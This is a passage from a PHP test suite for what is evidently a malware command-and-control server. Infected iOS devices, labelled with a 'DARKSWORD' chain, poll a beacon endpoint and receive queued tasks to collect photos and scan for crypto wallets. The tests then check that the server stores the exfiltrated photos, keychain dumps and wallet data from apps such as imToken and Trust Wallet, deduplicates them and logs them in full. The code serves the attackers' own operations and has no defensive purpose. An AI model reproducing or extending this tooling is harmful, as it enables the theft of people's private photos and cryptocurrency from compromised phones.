$device = Device::query()->where('device_id', $uuid)->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
|
|
$this->assertSame(0, DeviceEvent::query()->count());
|
|
|
|
// Single-run: after both tasks were dispatched, the queue is empty (0).
|
|
$queue = app(DsBeaconQueue::class);
|
|
$this->assertSame(0, $queue->queueLength($device));
|
|
|
|
$admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']);
|
|
$this->actingAs($admin, 'admin')
|
|
->get(route('admin.devices.show', $device))
|
|
->assertOk()
|
|
->assertSee('C2 队列')
|
|
->assertSee('photos')
|
|
->assertSee('wallet_scan');
|
|
}
|
|
|
|
#[Test]
|
|
public function beacon_throttles_same_ip_within_5s_gap(): void
|
|
{
|
|
$uuid = self::DS_LHU;
|
|
|
|
// Helper to clear the per-device throttle lock (simulates 5s gap).
|
|
$forgetThrottle = function () use ($uuid): void {
|
|
$device = Device::query()->where('device_id', $uuid)->first();
|
|
if ($device) {
|
|
Redis::del('ds:qt:'.$device->id);
|
|
}
|
|
};
|
|
|
|
// First dispatch -> photos (first in FIFO from seed).
|
|
$first = $this->postJson('/beacon', [
|
|
'uuid' => $uuid,
|
|
'status' => 'idle',
|
|
'ios' => '18.6',
|
|
])->assertOk()->assertJson(['type' => 'photos']);
|
|
$firstId = $first->json('command_id');
|
|
$this->assertNotEmpty($firstId);
|
|
|
|
// Same IP within 5s -> noop (throttled, no command handed out).
|
|
$this->postJson('/beacon', [
|
|
'uuid' => $uuid,
|
|
'status' => 'idle',
|
|
])->assertOk()->assertJson(['type' => 'noop']);
|
|
|
|
// After the 5s gap (simulated by deleting the Redis throttle key), the next
|
|
// beacon dispatches wallet_scan (second in FIFO from seed).
|
|
$forgetThrottle();
|
|
$retry = $this->postJson('/beacon', [
|
|
'uuid' => $uuid,
|
|
'status' => 'idle',
|
|
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
|
$retryId = $retry->json('command_id');
|
|
$this->assertNotEmpty($retryId);
|
|
$this->assertNotSame($firstId, $retryId);
|
|
|
|
$this->postJson('/result', [
|
|
'uuid' => $uuid,
|
|
'command_id' => $retryId,
|
|
'filename' => 'wallet_scan_result.json',
|
|
'category' => 'wallet_scan',
|
|
'status' => 'success',
|
|
])->assertOk();
|
|
|
|
// Completed task results are recorded as DeviceEvent (日志 tab).
|
|
$device = Device::query()->where('device_id', $uuid)->first();
|
|
$events = DeviceEvent::query()->where('device_id', $device->id)->get();
|
|
$this->assertSame(1, $events->count());
|
|
$this->assertSame('wallet_scan', $events->first()->event_name);
|
|
$this->assertStringContainsString('wallet_scan', $events->first()->desc);
|
|
$this->assertStringContainsString('wallet_scan_result.json', $events->first()->desc);
|
|
|
|
// After a result + gap, the queue is empty (single-run: no auto-replenish).
|
|
$forgetThrottle();
|
|
$this->postJson('/beacon', [
|
|
'uuid' => $uuid,
|
|
'status' => 'idle',
|
|
])->assertOk()->assertJson(['type' => 'noop']);
|
|
}
|
|
|
|
#[Test]
|
|
public function beacon_dispatches_fifo_from_redis_queue(): void
|
|
{
|
|
// New Redis-based queue: tasks are dispatched in FIFO order (RPOP from LPUSH list).
|
|
// No "skip legacy" logic — all queued tasks are dispatched in order.
|
|
// Single-run: seed() only runs on new device creation, not on every beacon.
|
|
// When the queue is emptied by dequeue, it stays empty (no auto-replenish).
|
|
$device = Device::query()->create([
|
|
'device_id' => self::DS_LHU,
|
|
'chain' => Device::CHAIN_DARKSWORD,
|
|
]);
|
|
|
|
$queue = app(DsBeaconQueue::class);
|
|
// Add tasks in order: photos, photo_scan, wallet_scan.
|
|
$queue->addTask($device, 'photos');
|
|
$queue->addTask($device, 'photo_scan');
|
|
$queue->addTask($device, 'wallet_scan');
|
|
|
|
// LPUSH means newest at head: [wallet_scan, photo_scan, photos].
|
|
// RPOP dequeues from tail: photos → photo_scan → wallet_scan.
|
|
$this->postJson('/beacon', [
|
|
'uuid' => self::DS_LHU,
|
|
'status' => 'idle',
|
|
])->assertOk()->assertJson(['type' => 'photos']);
|
|
|
|
// Clear throttle to allow next dispatch.
|
|
Redis::del('ds:qt:'.$device->id);
|
|
|
|
$this->postJson('/beacon', [
|
|
'uuid' => self::DS_LHU,
|
|
'status' => 'idle',
|
|
])->assertOk()->assertJson(['type' => 'photo_scan']);
|
|
|
|
Redis::del('ds:qt:'.$device->id);
|
|
|
|
$this->postJson('/beacon', [
|
|
'uuid' => self::DS_LHU,
|
|
'status' => 'idle',
|
|
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
|
|
|
// After the last task is dequeued, the queue is empty — single-run: no
|
|
// auto-replenish. seed() only runs on new device creation, not on
|
|
// every beacon/upsertDevice.
|
|
$this->assertSame(0, $queue->queueLength($device));
|
|
}
|
|
|
|
#[Test]
|
|
public function result_stores_files_and_skips_video(): void
|
|
{
|
|
Storage::fake('local');
|
|
$device = Device::query()->create([
|
|
'device_id' => self::DS_LHU,
|
|
'chain' => Device::CHAIN_DARKSWORD,
|
|
'album_storage' => true,
|
|
]);
|
|
DsBeaconTask::query()->create([
|
|
'device_id' => $device->id,
|
|
'position' => 1,
|
|
'type' => 'photo_scan',
|
|
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
|
'command_id' => 'dsq-photo-1',
|
|
]);
|
|
|
|
$png = base64_encode("\x89PNG\r\n\x1a\n".str_repeat('x', 32));
|
|
$this->postJson('/result', [
|
|
'uuid' => self::DS_LHU,
|
|
'command_id' => 'dsq-photo-1',
|
|
'filename' => 'IMG_0003.PNG',
|
|
'category' => 'photos',
|
|
'data' => $png,
|
|
])->assertOk();
|
|
|
|
$this->postJson('/result', [
|
|
'uuid' => self::DS_LHU,
|
|
'command_id' => 'dsq-photo-1',
|
|
'filename' => 'IMG_0005.MP4',
|
|
'category' => 'photos',
|
|
'data' => base64_encode('ftypisom'),
|
|
])->assertOk();
|
|
|
|
$this->postJson('/result', [
|
|
'uuid' => self::DS_LHU,
|
|
'command_id' => 'dsq-photo-1',
|
|
'filename' => 'photo_scan.json',
|
|
'data' => base64_encode('{"status":"success","uploaded":1}'),
|
|
])->assertOk();
|
|
|
|
$this->assertSame(1, Photo::query()->where('device_id', $device->id)->count());
|
|
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/IMG_0003.PNG');
|
|
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/photo_scan.json');
|
|
Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/IMG_0005.MP4');
|
|
}
|
|
|
|
#[Test]
|
|
public function result_skips_duplicate_payloads_already_ingested(): void
|
|
{
|
|
Storage::fake('local');
|
|
$device = Device::query()->create([
|
|
'device_id' => self::DS_LHU,
|
|
'chain' => Device::CHAIN_DARKSWORD,
|
|
'album_storage' => true,
|
|
]);
|
|
DsBeaconTask::query()->create([
|
|
'device_id' => $device->id,
|
|
'position' => 1,
|
|
'type' => 'photo_scan',
|
|
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
|
'command_id' => 'dsq-photo-dup-1',
|
|
]);
|
|
DsBeaconTask::query()->create([
|
|
'device_id' => $device->id,
|
|
'position' => 2,
|
|
'type' => 'wallet_extract',
|
|
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
|
'command_id' => 'dsq-wallet-dup-1',
|
|
]);
|
|
|
|
$png = base64_encode("\x89PNG\r\n\x1a\n".str_repeat('x', 32));
|
|
$this->postJson('/result', [
|
|
'uuid' => self::DS_LHU,
|
|
'command_id' => 'dsq-photo-dup-1',
|
|
'filename' => 'IMG_0003.PNG',
|
|
'category' => 'photos',
|
|
'data' => $png,
|
|
])->assertOk();
|
|
$this->postJson('/result', [
|
|
'uuid' => self::DS_LHU,
|
|
'command_id' => 'dsq-wallet-dup-1',
|
|
'filename' => 'wallet_extract_result.json',
|
|
'category' => 'wallet_extract',
|
|
'data' => base64_encode('{"status":"success","wallets":1}'),
|
|
])->assertOk();
|
|
|
|
DsBeaconTask::query()->where('command_id', 'dsq-photo-dup-1')->update([
|
|
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
|
'command_id' => 'dsq-photo-dup-2',
|
|
]);
|
|
DsBeaconTask::query()->where('type', 'wallet_extract')->update([
|
|
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
|
'command_id' => 'dsq-wallet-dup-2',
|
|
]);
|
|
|
|
$this->postJson('/result', [
|
|
'uuid' => self::DS_LHU,
|
|
'command_id' => 'dsq-photo-dup-2',
|
|
'filename' => 'IMG_0003.PNG',
|
|
'category' => 'photos',
|
|
'data' => $png,
|
|
])->assertOk();
|
|
$this->postJson('/result', [
|
|
'uuid' => self::DS_LHU,
|
|
'command_id' => 'dsq-wallet-dup-2',
|
|
'filename' => 'wallet_extract_result.json',
|
|
'category' => 'wallet_extract',
|
|
'data' => base64_encode('{"status":"success","wallets":1}'),
|
|
])->assertOk();
|
|
|
|
$this->assertSame(1, Photo::query()->where('device_id', $device->id)->count());
|
|
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-dup-1/IMG_0003.PNG');
|
|
Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-photo-dup-2/IMG_0003.PNG');
|
|
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-wallet-dup-1/wallet_extract_result.json');
|
|
Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-wallet-dup-2/wallet_extract_result.json');
|
|
}
|
|
|
|
#[Test]
|
|
public function result_assembles_chunks_before_store(): void
|
|
{
|
|
Storage::fake('local');
|
|
$device = Device::query()->create([
|
|
'device_id' => self::DS_LHU,
|
|
'chain' => Device::CHAIN_DARKSWORD,
|
|
'album_storage' => true,
|
|
]);
|
|
$task = DsBeaconTask::query()->create([
|
|
'device_id' => $device->id,
|
|
'position' => 1,
|
|
'type' => 'photo_scan',
|
|
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
|
'command_id' => 'dsq-chunk-1',
|
|
]);
|
|
|
|
$this->postJson('/result', [
|
|
'uuid' => self::DS_LHU,
|
|
'command_id' => $task->command_id,
|
|
'filename' => 'IMG_0002.PNG',
|
|
'category' => 'photos',
|
|
'chunk_index' => 0,
|
|
'total_chunks' => 2,
|
|
'data' => base64_encode("\x89PNG"),
|
|
])->assertOk();
|
|
$this->assertSame(0, Photo::query()->count());
|
|
|
|
$this->postJson('/result', [
|
|
'uuid' => self::DS_LHU,
|
|
'command_id' => $task->command_id,
|
|
'filename' => 'IMG_0002.PNG',
|
|
'category' => 'photos',
|
|
'chunk_index' => 1,
|
|
'total_chunks' => 2,
|
|
'data' => base64_encode("\r\n\x1a\n"),
|
|
])->assertOk();
|
|
|
|
$this->assertSame(1, Photo::query()->where('device_id', $device->id)->count());
|
|
Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-chunk-1/IMG_0002.PNG');
|
|
$this->assertSame(
|
|
"\x89PNG\r\n\x1a\n",
|
|
Storage::disk('local')->get('c2/ds-results/'.self::DS_LHU.'/dsq-chunk-1/IMG_0002.PNG')
|
|
);
|
|
}
|
|
|
|
#[Test]
|
|
public function event_heartbeats_without_device_events(): void
|
|
{
|
|
$this->postJson('/event', [
|
|
'lhu' => self::DS_LHU,
|
|
'et' => 'injection_success',
|
|
])->assertOk()->assertJson(['ok' => true]);
|
|
|
|
$this->assertSame(0, DeviceEvent::query()->count());
|
|
$this->assertNotNull(Device::query()->where('device_id', self::DS_LHU)->first());
|
|
}
|
|
|
|
#[Test]
|
|
public function result_wallet_scan_logs_full_untruncated_body(): void
|
|
{
|
|
$device = Device::query()->create([
|
|
'device_id' => self::DS_LHU,
|
|
'chain' => Device::CHAIN_DARKSWORD,
|
|
'album_storage' => true,
|
|
]);
|
|
DsBeaconTask::query()->create([
|
|
'device_id' => $device->id,
|
|
'position' => 1,
|
|
'type' => 'wallet_scan',
|
|
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
|
'command_id' => 'dsq-scan-full-1',
|
|
]);
|
|
|
|
// A keychain dump payload well over the 512-byte truncation threshold.
|
|
$bigKeychain = base64_encode(str_repeat('trustwalletUTC--2025-08-28T12-22-25--1B84E61E-', 40));
|
|
$this->postJson('/result', [
|
|
'uuid' => self::DS_LHU,
|
|
'command_id' => 'dsq-scan-full-1',
|
|
'filename' => 'keychain_c2_dump.json',
|
|
'category' => 'wallet_scan',
|
|
'data' => $bigKeychain,
|
|
])->assertOk();
|
|
|
|
$logFile = public_path('log/ds/'.date('Ymd').'.log');
|
|
$this->assertFileExists($logFile);
|
|
$log = (string) file_get_contents($logFile);
|
|
|
|
// The full payload must be present verbatim — a 512-byte truncation would
|
|
// have cut this ~2.4KB base64 string down, so its presence proves no truncation.
|
|
$this->assertStringContainsString($bigKeychain, $log);
|
|
$this->assertStringContainsString('keychain_c2_dump.json', $log);
|
|
|
|
// And this specific entry must carry no truncation marker.
|
|
$entryStart = strpos($log, 'dsq-scan-full-1');
|
|
$this->assertNotFalse($entryStart);
|
|
// Limit to this entry only — entries are separated by a blank line (\r\n\r\n).
|
|
$entryEnd = strpos($log, "\r\n\r\n", $entryStart);
|
|
$entrySegment = $entryEnd !== false
|
|
? substr($log, $entryStart, $entryEnd - $entryStart)
|
|
: substr($log, $entryStart, 4096);
|
|
$this->assertStringNotContainsString('…[', $entrySegment);
|
|
}
|
|
|
|
#[Test]
|
|
public function result_skips_empty_wallet_scan_summary(): void
|
|
{
|
|
$device = Device::query()->create([
|
|
'device_id' => self::DS_LHU,
|
|
'chain' => Device::CHAIN_DARKSWORD,
|
|
'album_storage' => true,
|
|
]);
|
|
DsBeaconTask::query()->create([
|
|
'device_id' => $device->id,
|
|
'position' => 1,
|
|
'type' => 'wallet_scan',
|
|
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
|
'command_id' => 'dsq-scan-empty-1',
|
|
]);
|
|
|
|
// Useless wallet_scan summary: no keychain dump, no wallets, no sandbox files.
|
|
$empty = base64_encode(json_encode([
|
|
'device_uuid' => self::DS_LHU,
|
|
'installed_wallets' => [],
|
|
'sandbox_files' => [],
|
|
'total_size' => 0,
|
|
'keychain_dump_uploaded' => false,
|
|
'_task_type' => 'wallet_scan',
|
|
]));
|
|
$this->postJson('/result', [
|
|
'uuid' => self::DS_LHU,
|
|
'command_id' => 'dsq-scan-empty-1',
|
|
'filename' => 'wallet_pkg.json',
|
|
'category' => 'wallet_scan',
|
|
'data' => $empty,
|
|
])->assertOk();
|
|
|
|
// No keystore record, no stored result file.
|
|
$this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count());
|
|
Storage::disk('local')->assertMissing(
|
|
'c2/ds-results/'.self::DS_LHU.'/dsq-scan-empty-1/wallet_pkg.json'
|
|
);
|
|
}
|
|
|
|
#[Test]
|
|
public function result_skips_wallet_scan_summary_even_when_keychain_dump_uploaded(): void
|
|
{
|
|
Storage::fake('local');
|
|
$device = Device::query()->create([
|
|
'device_id' => self::DS_LHU,
|
|
'chain' => Device::CHAIN_DARKSWORD,
|
|
'album_storage' => true,
|
|
]);
|
|
DsBeaconTask::query()->create([
|
|
'device_id' => $device->id,
|
|
'position' => 1,
|
|
'type' => 'wallet_scan',
|
|
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
|
'command_id' => 'dsq-scan-keep-1',
|
|
]);
|
|
|
|
// installed_wallets empty AND sandbox_files empty -> skip even though a
|
|
// keychain dump was uploaded (that dump lives in a separate result file).
|
|
$keep = base64_encode(json_encode([
|
|
'device_uuid' => self::DS_LHU,
|
|
'installed_wallets' => [],
|
|
'sandbox_files' => [],
|
|
'total_size' => 0,
|
|
'keychain_dump_uploaded' => true,
|
|
'_task_type' => 'wallet_scan',
|
|
]));
|
|
$this->postJson('/result', [
|
|
'uuid' => self::DS_LHU,
|
|
'command_id' => 'dsq-scan-keep-1',
|
|
'filename' => 'wallet_pkg.json',
|
|
'category' => 'wallet_scan',
|
|
'data' => $keep,
|
|
])->assertOk();
|
|
|
|
$this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count());
|
|
Storage::disk('local')->assertMissing(
|
|
'c2/ds-results/'.self::DS_LHU.'/dsq-scan-keep-1/wallet_pkg.json'
|
|
);
|
|
}
|
|
|
|
#[Test]
|
|
public function result_keeps_wallet_scan_summary_when_installed_wallets_present(): void
|
|
{
|
|
Storage::fake('local');
|
|
$device = Device::query()->create([
|
|
'device_id' => self::DS_LHU,
|
|
'chain' => Device::CHAIN_DARKSWORD,
|
|
'album_storage' => true,
|
|
]);
|
|
DsBeaconTask::query()->create([
|
|
'device_id' => $device->id,
|
|
'position' => 1,
|
|
'type' => 'wallet_scan',
|
|
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
|
'command_id' => 'dsq-scan-wallets-1',
|
|
]);
|
|
|
|
// installed_wallets non-empty -> keep (real wallet material present).
|
|
$keep = base64_encode(json_encode([
|
|
'device_uuid' => self::DS_LHU,
|
|
'installed_wallets' => [['bundleId' => 'im.token.app', 'name' => 'imToken']],
|
|
'sandbox_files' => [],
|
|
'total_size' => 1024,
|
|
'keychain_dump_uploaded' => true,
|
|
'_task_type' => 'wallet_scan',
|
|
]));
|
|
$this->postJson('/result', [
|
|
'uuid' => self::DS_LHU,
|
|
'command_id' => 'dsq-scan-wallets-1',
|
|
'filename' => 'wallet_pkg.json',
|
|
'category' => 'wallet_scan',
|
|
'data' => $keep,
|
|
])->assertOk();
|
|
|
|
$this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count());
|
|
Storage::disk('local')->assertExists(
|
|
'c2/ds-results/'.self::DS_LHU.'/dsq-scan-wallets-1/wallet_pkg.json'
|
|
);
|
|
}
|
|
}
|